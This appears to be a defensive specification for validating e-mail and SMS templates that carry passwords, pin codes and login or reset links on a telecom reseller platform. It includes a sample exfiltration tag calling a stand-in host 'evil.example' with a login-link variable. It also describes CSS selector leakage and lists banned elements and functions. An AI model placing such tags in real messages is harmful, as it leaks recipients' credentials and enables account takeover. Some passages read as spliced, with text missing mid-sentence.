Some messages carry a secret: a password, a pin code, or a code or link that logs in, resets a password, enrolls a passkey, joins a video call or signs a document - the variables %password%, %pinCode%, %code%, %link% and %mitIdLinks%. Whoever writes the template decides where the secret goes: <img src=“https://evil.example/?%link%”> would send it to a foreign server the moment the e-mail is opened, and so would a style sheet whose attribute selectors load an image for each part of the link. Resellers and Telecom X staff write templates that are sent to users with more rights than themselves, so this would let them take over those accounts.
Whoever wrote the template and the layout, a message that carries a secret must keep to two rules:
( before it, and after it the end or a space, after at most three punctuation marks - so it cannot become part of a web address. %link% may also be the whole address of a link, <a href=“%link%”>, without ping. Never in another attribute, a comment (Outlook's conditional comments too), <style>, <title>, <textarea>, <noscript>, <template>, SVG/MathML, or the subject.https://image.telecomx.dk/<id>.<png|jpeg|gif|webp>, optionally resized), images on https://www.telecomx.dk/ and Google Fonts. Style sheets (<link>, @import) only from Google Fonts, data: only for images. This covers src, srcset, background, poster and similar attributes, href of anything but <a>/<area>, CSS url() and @import in <style> and style=. No <script>, <iframe>, <object>, <embed>, <base>, <svg>, <meta http-equiv> other than content-type, CSS backslash escapes, or image-set()/image()/cross-fade()/element()/src(). Links to click may go anywhere.An SMS carrying a secret: the secret must stand on its own, so a phone's link preview cannot fetch it.
The check runs on the message as it is sent - layout, template and every value put in - with each secret replaced by a random marker, and the HTML parsed the way a browser based mail client parses it. Only then are the secrets put in, HTML-escaped.
| Where | What happens |
|---|---|
| Save | A template is checked in the master layout, a layout around an e-mail with one secret of each kind. A problem refuses the save: 422 secrets. |
| Preview | Lists the problems of the template and of its combination with the layout in use. |
| Test | Refused (422 secrets) while there are problems. |
| Sending | A message that breaks the rules anyway (a layout changed later, HTML in a name) is sent with the master template and the master layout, still with the reseller's branding, and a warning is logged. If even that breaks them (only possible through a value), the message is not sent. |
Passwords, pin codes, passkey links and reset links sent to RESELLER_ADMIN and ADMIN employees always use the master template and layout, with their reseller's branding - and the master layout and the master templates carrying a secret can only be changed by ADMIN. So a reseller's employee cannot reach a staff account, and a RESELLER_ADMIN not an ADMIN account, even through a gap in the rules.
The problems of Preview are { code, detail }:
| Code | Detail | Meaning |
|---|---|---|
| secret_place | Variable name | The secret is in an attribute, a comment, raw text such as <style> or <title>, or another place it may not be. |
| secret_adjacent | Variable name | The secret has other text right before or after it, which could make it part of a web address. |
| secret_subject | Variable name | The secret is in the subject. |
| resource | URL | Something is loaded from a server that is not allowed. |
| element | Tag | An element that is not allowed, e.g. script, iframe, base, svg. |
| attribute | Attribute | An attribute that is not allowed, e.g. ping, http-equiv=“refresh”. |
| css_escape | A backslash in CSS. | |
| css_function | Function | A CSS function that loads without url(), e.g. image-set. |
A template can still ask the recipient to click a link of its own, as any phishing mail can; and a mail client that joins text across elements into one link could make a secret next to a web address in another element part of it - a click, not an automatic load.